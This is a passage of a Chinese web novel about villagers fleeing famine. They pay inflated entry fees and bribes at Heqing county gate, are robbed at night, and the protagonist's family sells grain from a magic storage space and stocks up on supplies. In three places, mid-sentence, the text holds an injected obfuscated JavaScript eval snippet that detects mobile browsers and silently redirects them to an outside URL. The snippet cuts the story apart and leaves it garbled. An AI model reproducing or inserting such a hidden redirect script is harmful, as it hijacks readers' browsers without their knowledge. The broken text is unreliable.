“我也咽不下……”里正说:“现在还有村子里这么多人,我们总有机会的……只是下一次,不能像今夜这般掉以轻心了。” 村长点点头,“村里人该好好敲打敲打,都出来逃荒了,还整日没心没肺的,若人人都能像赵老二和二顺一家子,咱们队伍何惧这些宵小?!” 里正点头,两人边商量边走远。 这七个人,王李村的村民给拖到沟里扔进去,另外两个受伤的,也一并扔进去,有没有造化能爬出来,就看他们的命了。 上午休息了一个时辰,队伍里的人就喊着继续往前走。 他们有的是因为自家家人受伤,想早点到县城,到县城了再好好休息一下,顺便找医馆开一些药草。 有的是因为家里没粮了,能早点走到县城,便能早点用银子换些粮食。 上午巳时初,王李村的队伍继续缓缓前行。 失去家人的那三家,凑钱买了一辆村里人的板车,将他们的尸首带着,准备到了县城找一口薄棺,再寻一处地方给埋下。 怎么都不能丢在这荒郊野外。 王李村的人憋了一口气,中午顶着巨热的天气,只休息了两个时辰,下午酉时,太阳还没落山之前,他们便赶到了合庆县。 和预想的情况不一样,合庆县外,乌泱泱一群百姓堵着。 王李村的队伍停到最外围,看不清前面在闹腾些什么。 无奈,里正只能让队伍先原地停下,自己带着两个人往前挤一挤。 越往前走,里正越是心惊。 县城前面乌泱泱的百姓,全都是拖家带口、拉着板车、推着单轮车逃荒来的。 每个人面上都带着风尘仆仆的疲惫,找了一家靠近县城大门,且看起来人口简单、好说话的,里正从兜里拿出一个小孩巴掌大的硬饼子。 “小兄弟,你可知前面发生了什么?”里正问出声后,等坐在地上的年轻男人看过来,立即将手中的饼子默不作声地塞过去。 男人手里猝不及防被塞了一个圆不溜丢的东西,借着袖子的遮挡一看,竟然是一块二合面的饼子! 咽咽唾沫,他把饼子藏好,才说:“那你可问对人了!我来这里已经三天了,合庆县的事我可是知道的。” 听到他在这里已经三天,里正的心都凉了,三天他们一家子都没进得去县城……那,王李村的人还有机会进去吗? 看到给饼子的大伯一脸绝望的模样,年轻男人生怕他反悔把饼子抢过去,忙说:“别急,别急!你听我讲。” “合庆县约莫三天开一次城门,只让交得起入城费的人进。” “入城费?”里正心里咯噔一下,好年节的时候,村里人还有很多人不想交入城费,一年到头来都不怎么能进城里。 现在这时节……里正不敢想,入城费该有多高。 “一两银子一个人,三两银子一辆车,”男人压低声音说道,“要是能额外拿五两银子,我可以找人,让你们排在前面交钱进去。 前提条件是你让我们跟在你们队伍后面一起。” 里正点头,“你等我们和村里人商量商量。” 那男人也不急,目送来打听消息的人走之后,悄悄把袖子里的饼子塞在媳妇手里。 感受到饼子的份量,一家三口好一会激动。 他们停在城外三天了!身上带着的那一点粮食全吃光了,这两天全靠在附近挖草根,用银子换,这才能等到今日。 “要是他们进城就好了……”年轻媳妇喃喃道。 她的娘家人就在县城里,要是能进城,他们一家子就不用在外面挨饿。 里正回到队伍里之后,把进城要收银子的事给大家伙说了。 甫一听要收银子,村里人都没觉得有什么,因为平时进丰宁县还要交个二文钱才能进去。 但听到按人头和架子车分别收钱,一个人都要收一两银子的时候,村里人激动起来。 “怎么能收这么多!一两银子!我上哪找一两银子过来?!” “一两银子!怎么不去抢!” “我、我们全家加起来,也只有三两,但我们有四个人!” “遭天谴的……谁家黑心衙门,这个节骨眼上收这些黑心的钱!也不怕走夜路被人……” 骂人的话说到一半,那人被家里人捂住嘴。 乱糟糟的声音停歇之后,里正才接着说:“我们一家子是要进城的,况且,合庆县是去府城的必经之路。” 绕路的话不知道要走多少里地。 “你们要想跟着我一起走,就准备好入城的银子,别到了城门口再掏不出来,净耽误事。” “别因为你一家子,拖累整个队伍。” 软硬兼施,一部分想着到城门口耍赖的人,悄悄收起了自己的小心思。 村里人各自准备各自的银子,实在是没银子的,动起了别的念头。 上午有三家都被里正做主赔了银子,少说也有十几两呢?! 抛去他们自家用的,怎么也能多出个四五两。 手里没银子,脑子活络的,直接跑去那三家旁边,压低声音承诺,用自家粮食抵一半,剩下一半进了县城,再想法子给。 还钱的时候不但还够银子,还多还半斤米。 三家的银子就这样,悄摸地被借走。等其他人想起来再去找他们的时候,却得知银子已经被借走的消息。 老赵家。 钱婆子掰着指头计算。 现在家里剩她和老头,大房加上孙媳妇六口人,三房三口人。 光人头费都要十一两银子,再加上一辆车,他们一家子光进城都要十四两银子。 这十四两银子,拿去买粮食,不知道能买多少斤米来吃! 光是过个路就要掏这么多,还不如去绕路! 让钱婆子花钱,简直比割了她的肉还难受! “娘……银子准备好了吗?”曹柔安小心问。 “嚷嚷什么!不是在数了吗!”钱婆子从柴堆下面摸出一个破破烂烂的袋子,袋子紧紧缠在一个木头棍上,棍子卡在一堆柴火里既隐蔽又不容易掉。 曹柔安眸光一闪。 怪不得婆婆不让她们去拿柴火,本来还以为是怕他们把绑好的柴火弄散,原来竟是这样! 从里面数出来十四两银子,钱袋子顿时瘪了下去。 钱婆子把钱袋子原样放回去。 曹柔安记下位置。 赵宁宁这边。 他们家逃荒之前的存银花了个七七八八,现在空间里多是吃的喝的用的,正儿八经的银子—— 赵宁宁从玄关的小桌上扒拉扒拉,把平日里宁妈宁爸给的零花钱找出来。 赵启也从怀里拿出自己的小钱袋。 靠着两个孩子的“接济”,赵宁宁一家四口才凑齐入城费。 宁妈哭笑不得,她刚才差点想把宁爸在府城买给自己的簪子拿出来,等会抵入城费。 还好两个孩子们的手里有点余钱,等会进城之后,还得想法子换点银子出来。 王李村的队伍一片闹哄,还有不少人在发愁入城费的时候,合庆县门口,人群开始骚动起来。 里正心道:合庆县应该是开始放人进城了。 县城门口没多久便安静下来,有衙门的人在喊话,站得远,里正也听不清他们在说什么。 只知道他们说完,原本挤在县城门口的人群,自觉在门口排成一队。 这队伍一排,蜿蜒绵长,几乎看不到队尾。 队伍缓缓前移。 按照这个速度,恐怕排到明天,王李村的队伍也不一定能进城。 里正正发愁着,刚才他找人问话的那个年轻男人,从远处急匆匆赶过来。 在人群中看到里正,那男人走过来,低声问:“怎么样?我给你提供的信息没错吧?” “没错是没错……就是这么多人,不知何时才能排到我们。”里正苦笑:“不瞒你说,我们队伍里有些受伤的,得早点进城。” “那就拿五两银子出来,我带你们找其他法子进城,不用在这排队。”男人说。 里正衡量一番,最终点头应允。 男人高兴得不行,他们家刚才在县城门开门前就凑过去排队了,仍旧排在中间……来得晚的可能不知道,他可是知道的。 合庆县开门就开这一会,除非是前排,才有可能能顺利进城。 县城门说关就关,站在中间,包轮不到他们进城的。 能蹭上这支队伍进城,男人赶紧回去把媳妇孩子从队伍中喊出来,拎着大包小包的家当过来。 王李村的人,进城的银子准备得差不多了。 家里没银子的,一想到不知道要绕道多远,还要跟队伍分开,厚着脸皮去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229766|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挨家挨户借,总算是凑齐。 男人一过来,引着一队人沿着县城的城墙,往县城西边走。 合庆县门口人多嘈杂,所有人都在来回走动,这么一个队伍往四处走,根本不打眼。 走了约莫一刻钟,县城西门到了。 这里也守着衙门的人,且只有零零散散十几户人家在排队。 男人带着王李村队伍,默不作声排在后面。 前面的在收钱,见来人,直接收五两银子,收过之后,再按人头和架子车收。 有三家机灵的,凑在一起交那五两银子,查户籍的时候,衙差发现他们不是一个地方的,直接把人给赶出队伍,五两银子也不退。 看到这一幕,里正扭头看看排在队伍里的男人,低声道:“待会你站在后面,有辆架子车是三家人一起拉的。” 男人点头。 轮到王李村队伍的时候,衙差收了五两银子掂量掂量,挑起一只眉毛:“不够。” ——不够!? 里正十分上道,从袖子里又摸出二两银子,悄悄塞给衙差,脸上带笑地说:“官爷大人,您拿着去喝点茶。” 二两银子不多,但谁会嫌少,衙差点点头,让一旁的人挨个交钱、查户籍、搜车。 赵宁宁家看到入城还要搜车,宁妈想了想从空间拿出一个空布袋,往布袋里舀了一碗粗面。 这样看上去,他们一家像是只剩这么点粮食。 搜车的时候,衙差又从车上刮下不少油水。 轮到赵宁宁家,衙差看到这么好的车,还配着一匹马和一只骡子在拉,车上肯定藏着许多粮食。 结果上车一看,里面空荡荡的,只有几床被子在车厢尾部堆着,旁边摆着一个小布袋。 布袋都不用打开,瘪瘪的,看上去就没什么东西。 没刮到油水,衙差下车的时候呸了一口,往下一辆车去了。 查到一辆堆得高高的板车前面,衙差支使旁边的人道:“把单子掀开。” 一辆架子车还用这么好的床单给盖着?查了这么多辆车衙差还是第一次见到。 “大人、大人!这车上没有粮食也没有柴火,这上面装的是……”旁边的人解释。 不等他把解释的话说完,衙差不悦地伸手扶住刀柄,将腰间的大刀从刀鞘里抽出来一截。 “我的话你都不听是吗?” 守在一边的人喏喏,流着泪把床单掀开一个角,露出灰白的脚。 衙差一看便知是怎么回事,啐了一声,暗道晦气。 把刀收回去,他瞪了一眼这几个村民,连他们的户籍都没看,直接往下一辆车走。 站在他们旁边的男人暗自庆幸,还好他机灵,听懂了这个村子里正说的话。 官差嫌这不吉利,不会细查,刚好方便他们一家混入队伍。 不多时,王李村的人陆续进城。 合庆县里,不少衙差在街上巡逻,那些刚入城、漫无目的在四处游荡的人,一经发现,立即被巡逻的衙差呵斥驱赶。 知道男人是合庆县人之后,里正向他打听合庆县的客栈。 男人能顺利不掏银子混进来,自是知无不言,言无不尽。 他给里正指了两家,一家便宜,环境稍微差一点。 还有一家比上一家要贵个五到二十文,但环境要稍微好一点。 在县门口告别之后,里正带着村民去找那家划算一些的客栈。 “什么!一间房要500文?” “粮食涨价就算了,客栈涨什么价?大不了不住便是了!” 村里人的嚷嚷声,从客栈门外直接传进客栈内,里正好悬没被这群口无遮拦的村民给气晕。 声音传到掌柜耳朵里,掌柜翻了个白眼,这样又穷又抠搜的人,这段时间没少见,他不甚在意,道:“还有通铺,一个床位五十文。” 里正道谢,出去把通铺的事给讲了。 一部分人舍不得掏钱,五十文呢!够买一斤米了,留下这钱买米不香吗? 只要在城外捱一晚,这钱便省下来了。 这段日子里他们也没少在荒郊野外留宿,况且这县城内还有人巡逻,怕什么? 见他们打定主意之后,里正也不劝导,只问了想要住客栈的,喊着众人交钱去把架子车往客栈后院推。 剩下不住客栈的自行找地儿去呆。 赵宁宁一家自然是要住客栈的,他们一家四口开了一间房。 第42章 睡觉都不安生 入住的时候客栈掌柜说,现在城里吃水紧张,客栈没有热水供应。要想打水,要到城里几个官井处打。 只是要起早去,不然买不到,那队伍,能从城东排到城西。 缺水的人把东西归置好后,计划着明天一早起来,去官井打水,回来痛痛快快地喝。 门一关,赵宁宁闪身回空间去打水。 这里有洗澡的空地,宁妈直接从空间里掏出之前在家洗澡时用的木桶,这会子时间充裕,便没有动用空间里烧好的热水,而是等赵宁宁把水给提出来。 趁这个空挡,宁妈把吃的也摆出来,屋里又闷又热,她没有拿热食,只主食拿了热饼子,菜都是凉菜。 冰柜里有真空袋包装的卤牛肉,宁妈让赵宁宁拿出来一包,现切了一块。 之前拌的凉菜路上吃得只剩一个底儿,宁妈直接连盆子一起端出来,今天吃完,等明天出发之前再拌一些出来,好在路上吃。 等赵宁宁把水提得差不多时,宁妈喊她过来先吃饭。 吃过饭后,几人依次去洗澡,赵宁宁充当打水工,来回搬运了好几趟。 等所有人都洗完澡,赵宁宁满头大汗地回到空间,在空间痛快地洗了个澡。 一边洗,赵宁宁一边想:要是他们几个也能进空间就好了,这样就不用来回提水了。 吃过饭又洗过澡,到睡觉的时候,这间房子里只有一张床,能睡得下两个人。 宁妈本想让赵启和宁爸一起睡床,赵启坚持自己打地铺,俩当爹妈的只能顺着孩子的意见, 赵宁宁还是老样子,睡空间。 玄关那里,成了她的固定小窝。 灯一关,恒温的空间不热也不冷,睡起来特别舒服。 四人沉沉睡去。 半夜,安静的客栈忽然闹哄起来,宁爸揉着眼起身,按住想要跟着起来的宁妈,他道:“你继续睡,我去看看怎么回事。” 说着,他起身拉开门。 走廊里,吵吵闹闹一片,宁爸探出头去,一走廊的人都跟他一样,半梦半醒之间被吵醒,拉开门伸头往外看着。 楼下,掌柜的正在责问店小二。 他美梦正做到一半,被人强行喊起来,怒火丛生,端着烛台,掌柜听小二的解释。 店小二刚张口,围着的人七嘴八舌跟着说,声音从四面八方来,震得掌柜脑瓜子嗡嗡的。 不过他也从这些纷杂的话中听出是怎么个事。 时间还要回到四个时辰之前。 王李村的村民在客栈分成了两拨,一拨选择住店,另一拨嫌客栈要价太高,想着在附近没人的死胡同里凑合过一晚。 然而巡逻的衙役看到有逃荒的人在街上乱窜,一直在撵人,他们跑着跑着,跑到县城北边,那边不知为何没什么人。 虽然房子破破烂烂的,好歹四周没有衙役来赶,他们各自选了个胡同,溜着墙边歇下。 老赵家也是这般,他们找了一个相对干净的巷子,贴着人家院墙把架子车放好,再把泥炉拿下来,生火煮粥。 说是粥,一人只能分到一个稀稀拉拉的勺底,勺底下有几粒米,赵慧兰捧着碗舔舔碗底,一双眼盯着锅。 吃不饱。 锅里还有饭。 她趁钱婆子低头喝粥的那一刹那,伸手去够陶锅,她的动作快极了,一伸手便拿到勺子。 勺子却硬生生停在半空,原来是钱婆子出手了。 钱婆子攥住孙女的手,不悦道:“你这是干什么!不是分给你吃的了吗!” 赵慧兰眼睁睁看着一勺子粥停滞着,忍不住抿抿嘴,“奶……” “叫奶也不行,这粥留下来,给我养胃用的!” 钱婆子把陶锅的盖子盖上,宝贝地抱在怀里。 一直到睡觉的时候都没撒手。 巡逻的衙役一下值,城里顿时变得危机四伏。 本来安静无人的巷子里,一直有人拖着步子来往,路过他们家马车时,那眼神在黑夜里都灼热无比。 即使看不到,但钱婆子能感受到!他们的视线黏黏糊糊的,几乎能化成实质。 钱婆子都有些后悔没去客栈住,抱着大陶锅,钱婆子紧张地问:“老头子,这……这不会有事吧?” “能有什么事!”赵老头一挥手,“去去!我们是逃荒来的,都穷得住不起客栈了,这一车只剩一些柴火,没什么好看的!” 有人气驱赶,来往的人步子稍微快些,离开这里。 钱婆子抱着锅,在最内围安心睡下。 没曾想,睡到半夜时,一只手摸来她的胸口,钱婆子一惊,扯着嗓子便喊起来。 这一喊,老赵家其他人才惊醒过来,那伸过来手并没有停止动作,反倒是扇了钱婆子一巴掌,一边恶狠狠地说:“把钱拿出来!” 钱婆子被一掌扇懵,呆愣一瞬,她捂着脸喊:“**啊!有贼人啊!” “喊什么喊!”那人伸手又给钱婆子两个耳刮子,钱婆子的两颊顿时火辣辣起来。 不用看也知道,她的脸肯定肿了! 老赵家两个儿子一个大孙正是青壮年,都被人欺负到家门口了,自是不会轻易放过这个人。 赵老大莽过来就要给自己亲娘报仇,没想到还没挨着贼人,一脚不小心踩中自己老娘的腿。 钱婆子又是一声惨叫。 天太黑,她以为是贼人干的,她哪里受过这气?手里陶锅都不要了,往墙根一放,钱婆子撸起袖子爬起来,伸手就要往贼人身上招呼。 “啪” 一声响亮的巴掌声响彻夜空,紧接着又是几下巴掌甩出来,钱婆子眼冒金星,举起手想扇人的时候,一伸手抓住一个人的胳膊,她迫不及待扇下去。 “哎呦!” ——怎么声音有点耳熟? 钱婆子狐疑,伸手摸摸那人的脸,原来是赵老大! 赵老大也根据那矮矮的身形判断出打自己的人,正是自己亲娘,他幽怨地喊:“娘……” 不等母子两人叙旧,**的贼人拿了刀过来,刀剑抵在赵老大腰上,赵老大声音都颤抖起来,“你、你们想干什么!不要杀我!” “杀?什么杀你!”钱婆子以为老大在说胡话,扯着他的胳膊往一边带。 “乖乖把钱叫出来!少废话!” 钱婆子本想仗着自家有三个青壮狠狠将这个不识好歹的人打回去,没成想,他们都来不及动手,外头一圈人把这里围住。 其中一人拿了火把过来,粗一看,起码有六七个人围在这,其中有三个人手里都拿着**。 还有一个站在一边,怀里塞的鼓鼓囊囊的。 “老六,你跟他们掰扯什么,直接动手便是。” 那人开口,钱婆子观其他人对他恭敬的模样,他明显是这个**队伍里的老大。 叫老六的人往前捅了捅**,赵老大薄薄的粗麻布夏衫立刻破了个大洞。 他不敢动弹,也不敢低头去看,但能明显感到腰上有点痛。 一定是划破了! 赵老大哭丧着脸,喊道:“娘……” “你、你们把我儿子放了!”钱婆子哆嗦着说:“我们没有银子!一个铜板都没了!” 那些歹人的老大扬扬下巴,另外三个拿着**的汉子身形一动,下一秒,赵老三、赵文远、曹柔安分别被擒住。 赵老头:歧视我呢? “我们真没钱了……”钱婆子双手一摊,坐在地上哭嚎。 “黑心眼的县衙,进个城门还要收钱! 我们全家人种了一辈子的地,辛辛苦苦换来那几两银子,舍不得吃、舍不得喝!” “全被那黑心烂肠的官差给拿走了!” “他们连车上剩的麸皮都给我们搜刮走!不给人留活路了啊!” 钱婆子一边哭一遍嚎,声音大到周边几家灯都点起来了。 那歹人老大脸色一变,骂道:“该死,走走走!真是出师不利!” 他们本想着抢完你的抢他的,结果第一家就碰见个这么极品的老婆子,嗓子跟公鸡打鸣一样响亮,方圆十里都能听见她在嚎。 晦气地吐了口唾沫,他骂骂咧咧踹了离得最近的赵老头两下,带着小弟匆匆离开这里。 赵老头:…… 合着被当肉票没他的份,挨揍倒是有? 这群贼人刚走,又一伙人过来。 钱婆子:“……” 这还有完没完了! 在附近巷子里住下的王李村的人,没睡安稳便被这些动静弄醒了。 要么是被**的,要么是被吵醒看到有人趁黑**不敢再睡的。 这么捱到天亮可不行,今天晚上过去,还有明天晚上呢! 总不能夜夜不睡觉! 王李村 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229767|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人一碰头,一合计:得,本想凑合凑合在外头住,谁能想到会遇到**,折腾半天,还是得掏钱。 一行人闹闹哄哄地往客栈走。 一路上还要避着在大路巡视的官差,好不容易到客栈,客栈门关着。 剩下的,就有了刚才那一幕——半夜喊门,闹着要住客栈。 客栈掌柜头疼地给他们安排住处。 听完八卦,宁爸把房门关好闩好,用桌子顶上,这才回到床上。 抱着**,宁爸看宁妈已睡得迷糊,便没有打扰她,这点小事,等明天起来再跟她八卦便是。 在客栈睡了一夜,身上闷出一层汗。 早上临出门之前,几人又洗了一遍澡,洗出来的废水由宁妈先收着,找地方倒,或者先放在空间里。 收拾齐整,吃过宁妈蒸的大包子,宁妈让两个孩子在客栈歇着。 今天还有正事要办,他们要出去换钱! 尽管是大热天,宁爸宁妈依旧把自己的头给用薄布围了起来。 身上也穿上在王李村不常穿的好衣裳,看上去干干净净,整洁得像是没经历过逃荒一样。 连院子都不用找,宁爸直接找个死胡同,让宁妈在这等着。 他去粮铺门口蹲守,看见那些身上穿着绸布衣服,或是细棉布衣服的,厚脸皮过去揽客。 一个又一个,直接给人往胡同里带。 粮铺门口都是些什么人?全是缺粮食去买粮食的。 赵宁宁的空间能刷新食物,尽管厨房里都是半袋子半袋子的米面,积少成多,也攒出来了六大袋子。 更不用说,之前囤粮还囤的有,宁妈粗略数了一下,空间还有二十包粮食,留下八袋,剩下的全拿出来卖! 宁爸在粮铺门口蹲守的时候还顺便打听了价格,现在的米价已飙升到八十文一斤! 还有价无市,粮铺一天只放三袋子粮食出来卖,一个人只能买两斤,一大早去排队都不一定能买得到。 因此听到有人说卖粮,那些没买到的怀疑归怀疑,身体还是很诚实地跟着去了。 一进到胡同里,地上的粮食袋子差点没闪瞎那人的眼。 “这、这些全可以买?”他揣着银子,小心翼翼地过去看。 宁妈极有眼色地把袋子打开,让他看看,里面确实是白花花的米! “大米三袋,白面三袋,剩下全是粗粮粗面。”宁爸说完,问:“你买多少?我这里没有秤,按盆算的,一平盆两百文。” 说着,宁爸扬扬手里的木盆,一平盆约莫不到两斤,但现在能买到粮食就不错了! 跟着宁爸过来的人,是合庆县里大富户家的管事,虽说家里暂时不缺主子们的吃喝,但仓库里的粮日渐减少,精米精面只剩几袋子了。 他日日出来买,都赶不及主子们的消耗。 “买!我全买了!”郝管事一挥手,全拿下! 宁爸给他估价,一袋子约莫有一百斤,宁爸算九十文一斤卖,一袋子能卖九两银子! 精米精面要更贵一些,十二袋粮食直接买了一百五十两银子。 郝管事听到这个价格眼都不带眨一下的,让眼前这个男人务必要替他留着,他身上带的银子不够,他把怀里零碎的五两银子掏出来当做定金,匆匆跑着回家拿银子。 宁爸握着还烫乎的银子,有些好笑。 这人也不怕他们拿着银子跑了。 不多时,郝管事又匆匆赶过来,他不仅把银子带了过来,还带了几辆带车厢的马车过来。 交了银子,郝掌柜小心翼翼地打开袋口没袋子都检查检查,又用一个特制的铁器伸进去戳出底下的粮食,检查没问题之后,这才让人往车厢里搬。 宁爸好奇:“郝管事,你怎么这般小心翼翼的?” 郝管事以为卖家生气,忙擦汗赔笑道:“好兄弟,不瞒您说,我之前买过一次粮食,被人用沙子混发霉的陈粮给骗了!从那之后,我买粮食就这样检查过,才能放心。” “还有这事?”宁爸看他又是跑又是急,满头大汗的样子,安慰道:“没事,我就是好奇问问。” 银货两讫之后,郝管事再三道谢之后,命人小心把马车门遮掩起来,往回走。 宁爸宁妈用粮食换银子的任务完成,把银子放空间里,宁爸宁妈绕着路回客栈。 第43章 当大夫 回客栈接上孩子,一家四口开始逛县城。 虽说粮食和水涨价,其他用的价格倒是没涨多少。 走路费鞋,宁妈看到路边有卖草鞋的,问价是五文,倒是比平时的价格还便宜。 宁妈打听了原因,原来是因为粮价上涨,城里人只能想法子做些别的多挣一些钱,会编箩筐的编箩筐,会做草鞋的做草鞋。 人一多,草鞋的价格就降了一些。 听完这个原因,宁爸唏嘘不已。 花了五百文,宁妈一口气批发了一百双,够一家子穿好一阵儿了。 草鞋买了,平时穿的布鞋也要买,按着一人五十双的量来,宁妈给每人备齐。 天热,棉花价格没怎么涨,想着之前的寒潮,宁妈一人按照三双被子来买。 刚走没多远东西就那不下了,找地方把被子鞋子放空间,宁妈带着拎包的继续采购。 箩筐好使,空间里没什么置物的东西,全靠箩筐,宁妈看到结实的箩筐,按照大中小号一个买了三十个,还有装馒头的小箩筐,她也买了十来个。 不怕物资没地儿分装了。 麻袋、布袋分别买一百个,好分装赵宁宁空间倒腾出来的粮食。 盆子、桶也照着五十个买,木桶木盆子保养不得当会漏水,有备无患。 在合庆县,宁妈还发现一个好宝贝——带盖子的大木盆,跟一个水箱似的。 这东西放车上,任谁看都看不出里面能装多少水。 宁妈啧啧称奇,量了尺寸,买下两个车厢能放得下的。 这一买,木匠铺子里的存货几乎都被宁妈给包圆了,店家高兴得不行,白送了宁妈两个小板凳。 这倒是提醒宁爸了,他问店家有没有刨好花的木头棍子,方便搭帐篷使。 店家今日做成这么大单的生意,也不坑这一家,直接指路让他们去一家杂货铺,那家里面卖的有。 让店家把盆盆桶桶的给找了个巷子卸下货,宁妈一挥手装进空间,接着去找杂货铺。 一进去,四个人都觉得之前逛的所有杂货铺都被比下去了。 之前去的全是卖针头线脑、酱油醋盐、家常小物的,这一家不太一般。 他们卖帐篷、油布、粗麻绳、木楔子、斗笠、蓑衣、打火石、火折子…… 一看就是平常人少有来买的店,帐篷上都落了一层灰了。 店家见到有人过来,先是惊了一下,紧接着热情把客人应进来。 宁妈进去,如同扫荡一样,帐篷来了四个,支帐篷的棍子也买了十套备用。木楔子直接批发一百根,宁妈可没空削这个。 油布买十张,油布盖东西特别实用,不能缺。 这里还有水囊,宁妈一口气拿下三十个,看到还有装水的竹筒,试了试不会漏水之后,也买三十个,在人前喝水用竹筒不打眼。 斗笠和蓑衣目前用不到,但是根据原书里的描写,女主后面会遇到洪灾,早晚都要买的。 买!全买! 趁着有钱,宁妈可劲儿地买,买完找地儿塞空间。 直到空间提示“挤一挤也塞不下了”,宁妈这才收手。 轮到赵宁宁了。 一家人打听到铁匠铺子,甭管什么刀,只要能砍动东西,按照限购的上限来买。 看这里有小铁锅,宁妈问能不能镶个把手,店家爽快地应了,让他们过会来取。 定了三个小铁锅,一家子继续往前走。 吃食不缺,逛到普通的杂货店,宁妈补充了一些针头线脑和布头子,顺便在这买了三个陶锅和小陶炉。 她是真怀念现代那种铁皮炉子,烧起来又快又方便。 不过陶炉也不错,这里有大号的,宁妈比了比,刚好可以放下新买的小铁锅。 最后买了几身换洗的衣服,这才算结束。 一通买下来,一百两折进去,东西价格单看着只有十几一二百文的,数量一上来,银子就流水一样地花了出去。 回客栈之前,宁爸看到一家卖零嘴的铺子还开着,忙扯着宁妈喊:“兰香,给孩子们买点零食。” 宁妈嗔道:“你自己想吃别扯上孩子。” 赵宁宁忙给自己老爸打掩护,“娘!逛了一天了,就当是犒劳我们了!” 她啥也没干,纯牛马来的,帮忙驮东西,后面宁妈空间里塞不下的,全放她这儿来了。 赵宁宁都不敢想自家门口的电梯厅该有多乱。 宁妈扭头,看到赵宁宁和赵启两个孩子满头大汗的样子,心中欣慰,嘴上说:“买!” 掏出十两,宁爸领着孩子进店买零嘴。 外面粮价在涨,这里也在涨价,好在买零嘴的人少,十两银子只买了十五斤蜜饯果干,三十斤各式瓜子。 够一家人磕好久。 赵宁宁往嘴里塞了一个梅干,满足地牵着宁妈的手往客栈走。 到客栈之前,宁妈从空间里拿出一袋粮食,约莫有五十斤重,让宁爸提着。 不管私底下怎么吃,明面上得有这些粮食。 回到客栈,四人依次洗了澡,赵宁宁给**里装好冰块之后,累得躺在床上,迷迷糊糊地睡着。 再醒来时,是被一股香味给勾醒的。 红烧肉在桌上幽幽散发着香味,赵宁宁一起身,看到宁妈把案板掏出来放在客栈桌子上,正用刀切着红烧肉。 旁边摆着之前烙好的饼,已经有两个饼夹好肉在一边放着。 ——这是在做肉夹馍? 怪不得这么香!菜刀把肉夹馍的香味直接给带到空气里了! 想到肉夹馍的味道,赵宁宁的眼泪从嘴角流下。 回空间洗了把脸,赵宁宁拉开冰箱,检阅了一番保鲜层的水果——挑出百香果、橙子、凤梨、西瓜、苹果、小青桔、柠檬。 又从冰箱门上把蜂蜜拿出来,赵宁宁在空间里忙活。 她要给家里人做水果茶! 煮好乌龙茶底,放冰块镇一下涩味,赵宁宁把水果洗好切块,全部放在大水壶里。 等所有水果都放进去后,把百香果切开,里面的百香果籽和果汁全用勺子舀进水壶,最后把茶底加进去,加满水和蜂蜜。 混匀后,赵宁宁先自己尝了一口,各类果香轮流在她嘴里过了一遍,最后是柑橘和百香果的酸,简直太好喝了! 赵宁宁先给自己竖了个大拇指,才把这壶“得意之作”给端出空间。 看到赵宁宁准备好的果茶,宁妈点头,“刚刚还跟你爸商量待会喝什么,没想到你准备了果茶出来。” “天热嘛!”赵宁宁把果茶放桌上,先给妈妈倒了一杯,端到嘴边让她尝尝味道。 宁妈赞道:“真好喝!” “我呢我呢?”宁爸凑过来。 赵宁宁没法,只能给他也倒一杯,递过去,宁爸乐呵呵地喝,喝完还要,被宁妈制止。 待会还要吃饼,等吃完了再喝这个。 赵宁宁最后给哥哥倒了一杯,整壶果茶就被宁妈收进空间了。 肉夹馍已做好,宁妈怕吃着单调,掏出来几根黄瓜拍了,凉拌一下,一家人就这样围着圆桌,一边吃饼一边吃凉菜。 吃完之后再喝一口果茶,身上的热意暂时褪去,只剩舒爽。 吃完饭赵宁宁就想躺,硬是被宁妈拉起来,在屋里稍微走走。 下午宁妈出去找到何氏,给她们塞了一袋粮食。 何氏下意识地推拒,她今天一早和周剑出去买粮,排了半天的队,连个米粒都没买到。 她知道如今的粮食有多难买。 女儿家能买到,要么花了大力气,要么花了许多银子。 她怎么能收下? “拿着吧。”宁妈力气大,直接把粮食袋子往屋里一丢,“别跟别人说就成,这粮食没用多少钱。” 她说的是实话,这粮食还是之前十几文一斤的价格买回来的。 “你和小剑路上也得吃好吃饱,才能好好地赶路。”宁妈劝道:“去府城还有得走呢!” 也是,起码要再走一天才能到。 宁妈这次拿来的粮食不算多,主要是很多人都想着到府城找地儿落脚呢,至于到了府城是个什么情况——到时候再说! 送完粮食,宁妈悄悄回房间,没想到房间门口站着一大一小母女两人。 宁妈吓一跳,等他们回头,这才发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229768|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现,站着的是有过一面之缘的二顺媳妇。 二顺媳妇见到宁妈,直接跪下,两行泪顺着动作同时落下。 “兰香……求你救救我们家。” “你起来,起来先。” 宁妈忙去扶人,同时敲敲门,屋里,赵宁宁几个正吃饱了在喝剩下的果茶,听到敲门声,赵宁宁先把水壶收进空间,宁爸才在门口问。 “谁?” “是我,孩子他爹。”宁妈在门口轻喊。 